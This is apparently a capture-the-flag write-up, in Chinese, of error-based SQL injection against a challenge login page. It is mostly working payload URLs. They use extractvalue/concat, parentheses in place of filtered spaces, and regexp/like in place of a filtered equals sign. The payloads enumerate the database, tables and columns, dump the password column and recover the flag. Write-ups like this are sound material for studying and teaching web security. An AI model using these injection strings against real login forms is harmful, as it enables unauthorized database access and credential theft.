fuzz了一下,还是有很多没有过滤的
加了一个',发现报错,是单引号注入,这里fuzz中发现空格被过滤了,还有%0a之类的也被过滤了,这里学到了一个用()来代替空格,在需要空格的那个地方使用()来包裹
/check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(database())))))%23
因为=也被过滤了,所以可以用like或着regexp来匹配table.schema之类的后面的字符
/check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp('geek'))))))%23
/check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))))))%23
/check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(username)from(geek.H4rDsq1)))))%23
看username没有东西,再看password,flag出来了,但是没有完全出来,那就用right来看右边的字符
check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(geek.H4rDsq1)))))%23
/check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1)))))%23
flag{ea07dc64-553d-4b4f-bfc1-7de791bb3e33}
做sql注入,感觉要提高效率,要多用fuzz来看,以及对一些比如空格的替换要多学几个才行。